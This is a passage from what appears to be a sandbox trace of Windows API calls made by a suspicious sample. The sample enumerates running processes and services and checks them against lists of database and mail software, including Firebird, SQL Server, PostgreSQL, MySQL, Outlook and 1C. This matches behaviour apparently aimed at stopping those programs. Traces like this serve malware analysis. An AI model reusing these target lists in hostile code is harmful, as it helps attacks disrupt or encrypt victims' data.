szExeFile="taskhost.exe")) returned 1 [0169.432] lstrlenW (lpString="taskhost.exe") returned 12 [0169.432] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.433] lstrlenW (lpString="svchost.exe") returned 11 [0169.433] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.433] lstrlenW (lpString="dwm.exe") returned 7 [0169.433] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.434] lstrlenW (lpString="explorer.exe") returned 12 [0169.434] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0169.434] lstrlenW (lpString="3G6885.exe") returned 10 [0169.434] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0169.434] lstrlenW (lpString="reader_sl.exe") returned 13 [0169.435] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.435] lstrlenW (lpString="taskhost.exe") returned 12 [0169.435] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.435] lstrlenW (lpString="dllhost.exe") returned 11 [0169.435] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.436] lstrlenW (lpString="dllhost.exe") returned 11 [0169.436] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0169.436] lstrlenW (lpString="rundll32.exe") returned 12 [0169.436] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 0 [0169.436] CloseHandle (hObject=0x344) returned 1 [0169.437] Sleep (dwMilliseconds=0x1f4) [0170.235] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0170.236] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0170.236] GetLastError () returned 0xea [0170.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0170.236] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0170.237] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0170.237] lstrlenW (lpString="Appinfo") returned 7 [0170.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.237] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.237] lstrlenW (lpString="AudioSrv") returned 8 [0170.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0170.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0170.237] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0170.237] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0170.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0170.237] lstrlenW (lpString="BFE") returned 3 [0170.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.238] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.238] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.238] lstrlenW (lpString="CryptSvc") returned 8 [0170.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.238] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.238] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.238] lstrlenW (lpString="CscService") returned 10 [0170.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0170.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0170.238] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0170.238] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0170.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0170.238] lstrlenW (lpString="DcomLaunch") returned 10 [0170.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.238] lstrlenW (lpString="Dhcp") returned 4 [0170.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.239] lstrlenW (lpString="Dnscache") returned 8 [0170.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.239] lstrlenW (lpString="DPS") returned 3 [0170.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.239] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.239] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.239] lstrlenW (lpString="eventlog") returned 8 [0170.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0170.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0170.239] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0170.239] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0170.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0170.239] lstrlenW (lpString="EventSystem") returned 11 [0170.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.239] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.239] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.239] lstrlenW (lpString="gpsvc") returned 5 [0170.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.240] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.240] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.240] lstrlenW (lpString="iphlpsvc") returned 8 [0170.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.240] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.240] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.240] lstrlenW (lpString="LanmanServer") returned 12 [0170.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.240] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.240] lstrlenW (lpString="lmhosts") returned 7 [0170.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.240] lstrlenW (lpString="MMCSS") returned 5 [0170.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0170.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0170.241] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0170.241] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0170.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0170.241] lstrlenW (lpString="MpsSvc") returned 6 [0170.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.241] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.241] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.241] lstrlenW (lpString="Netman") returned 6 [0170.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0170.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0170.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0170.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0170.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0170.241] lstrlenW (lpString="netprofm") returned 8 [0170.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.241] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.241] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.241] lstrlenW (lpString="NlaSvc") returned 6 [0170.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.241] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.241] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.241] lstrlenW (lpString="nsi") returned 3 [0170.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.242] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.242] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.242] lstrlenW (lpString="PcaSvc") returned 6 [0170.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.242] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.242] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.242] lstrlenW (lpString="PlugPlay") returned 8 [0170.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.242] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.242] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.242] lstrlenW (lpString="Power") returned 5 [0170.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.242] lstrlenW (lpString="ProfSvc") returned 7 [0170.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.242] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.242] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.243] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.243] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.243] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.243] lstrlenW (lpString="RpcSs") returned 5 [0170.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.243] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.243] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.243] lstrlenW (lpString="SamSs") returned 5 [0170.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.243] lstrlenW (lpString="Schedule") returned 8 [0170.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.243] lstrlenW (lpString="SENS") returned 4 [0170.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.244] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.244] lstrlenW (lpString="Spooler") returned 7 [0170.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.244] lstrlenW (lpString="SysMain") returned 7 [0170.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.244] lstrlenW (lpString="Themes") returned 6 [0170.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0170.245] lstrlenW (lpString="TrkWks") returned 6 [0170.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0170.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0170.245] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0170.245] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0170.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0170.245] lstrlenW (lpString="UxSms") returned 5 [0170.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0170.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0170.245] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0170.245] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0170.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0170.245] lstrlenW (lpString="WdiServiceHost") returned 14 [0170.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.245] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0170.245] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0170.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0170.245] lstrlenW (lpString="WdiSystemHost") returned 13 [0170.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.245] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0170.250] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0170.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0170.250] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0170.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.250] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0170.250] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0170.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0170.250] lstrlenW (lpString="Winmgmt") returned 7 [0170.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0170.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0170.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0170.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0170.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0170.251] lstrlenW (lpString="WPDBusEnum") returned 10 [0170.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.251] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0170.251] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0170.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0170.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0170.251] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c [0170.254] Process32FirstW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.254] Process32NextW (in: hSnapshot=0x34c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.254] lstrlenW (lpString="System") returned 6 [0170.255] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0170.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0170.255] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0170.255] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0170.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0170.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0170.255] 